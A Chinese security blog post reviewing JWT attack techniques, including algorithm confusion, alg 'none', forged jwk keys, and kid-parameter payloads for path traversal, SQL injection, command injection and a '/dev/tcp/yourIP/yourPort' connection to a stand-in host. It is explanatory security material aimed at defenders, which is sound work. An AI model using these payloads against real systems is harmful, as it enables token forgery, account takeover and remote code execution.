对JWT安全的一些思考
前言
“FSRC 经验分享”系列文章,旨在分享焦点安全工作过程中的经验和成果,包括但不限于漏洞分析、运营技巧、SDL 推行、等保合规、自研工具等。
欢迎各位安全从业者持续关注~
JWT(Json Web Token)是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准,特别适用于分布式站点的单点登录场景。最近连续做了两个用 JWT 服务的项目安全评估,对其也有了些许思考。尽管 JWT 着实规避了一部分安全风险,但由于配置问题也可能带来新的风险,因此通过这篇文章来记录部分 JWT 可能存在的安全问题。
1Session-Cookie 与 Token Auth 的对比
传统的 Session-Cookie 是服务端、客户端分别存储 session、cookie 的认证,而 Token Auth 是把 token 完全交给客户端,依赖算法实现认证。
看起来服务端解放了,再也不用保存会话,但从这里可以看出 JWT 是完全依赖算法的,算法的健壮性决定了 JWT 的健壮性(这也是为很多人所诟病的问题)。
JWT 的其余介绍官网上已经很详尽了,任何疑问可以参考 https://jwt.io/。
2JWT 攻击手法
曾经在一次比赛里碰到的 JWT 的题目,其中一步就是破解 JWT 使用的算法。针对 JWT 的 header 中的算法爆破 sig 所用的 secret。
根据 JWT 支持的算法可以分为两种算法破解形式,针对对称加密的破解和非对称加密的破解。
0x01对称加密
例如 HS256(HMAC-SHA256),依赖于 secret 的健壮性,碰撞方面 hashcat 一直有很好的表现。
附上 hashcat 手册https://hashcat.net/wiki/。
例如 RS256(RSA-SHA256) 、 ES256(ECC-SHA256),本质上是对应算法的破解,例如 RS256 攻击本质上是 RSA 的攻击,是个大整数素数分解问题。ES256 攻击本质上是 ECC 的攻击,是个椭圆曲线的问题。
CVE-2016-10555,这也是另一道题目所涉及的内容,原本启用非对称加密(如 RS256 算法)时,通过构造 header 中算法为对称加密(如 HS256),后端会使用非对称加密的公钥作为对称加密的 secret,因此攻击者可以轻松构造任意签名。
CVE-2018-0114,攻击者覆盖 header 中预设公钥,使用对应密钥实现伪造任意签名。
{
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"kid": "TEST",
"use": "sig",
"e": "AQAB",
"n": "xxx"
}
}
或在使用 JKU、X5U 时,不限制获取密钥对的 uri 可导致绑定攻击者预设的密钥对,从而伪造任意签名。
当服务端配置不当的时候,可能出现不校验 JWT 签名的场景。删除 JWT 的 signature 后,若服务器仍接受 token,那么就可以伪造任意身份了。
规范示例:
或者手动调整 JWT 的 header,将算法改为 none,构造后提交:
{ "alg": "none", "typ": "JWT" }
规范示例:
JWT 的 payload 不应包含任何敏感信息(如密码),如果 base64 decode 后包含敏感信息,就可以加以利用。
另类似 CVE-2019-7644,在 customErrors 配置不当时,无效签名返回的报错信息包含正确签名:
规范示例:
当使用 KID 时,根据不同用途会导致不同危害:
0x01目录穿越
当 KID 用于在系统中指定 secret / 公钥文件位置时,攻击者结合目录穿越指定可控文件作为 secret / 公钥,从而伪造任意签名
"kid": "../../uploads/xxx"
"kid": "../../dev/null"
0x02SQL注入
当 KID 用于在数据库中检索密钥时。攻击者可控制 kid 实现 SQL注入
"kid":"baconHacked' UNION SELECT 'key';--"
0x03命令注入
当 KID 参数直接进入不安全代码流时,能导致 RCE
"kid":"/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&";
0x04SSRF
甚至能 ssrf
"kid":"/dev/tcp/yourIP/yourPort"
3经验总结
JWT 用的好不好,安不安全,很大程度上取决于开发者的配置是否规范,不安全的配置问题也连续登上 OWASP top10 的榜单。甲方在做安全开发基线的时候,应该明确出 JWT 相关的的规范配置要求,这样可以有效地缓解这部分安全风险。针对 JWT ,白帽子们也可以选用或开发自动化工具,这样便能够更好地解放人力。
4免责声明
本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。
5参考资料
JWT 攻击技巧
https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT 官方网站
https://jwt.io/
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 这本书,智利总统带到秘鲁的会见厅 7958766
- 2 药监局:百雀羚不存在违规行为 7926874
- 3 胖东来:员工不许靠父母买房买车 7887578
- 4 世界互联网大会有哪些新看点? 7753473
- 5 梁靖崑不敌张本智和 无缘8强 7693609
- 6 医院CT等收费将执行新规 7540471
- 7 两警察私带警用装备跨省抓人索财 7412753
- 8 钟睒睒不建议长期喝绿瓶水 7344275
- 9 一个金镯子省出1200元 金价真跌了 7281797
- 10 科技与文化融合的“赛博”水乡 7132254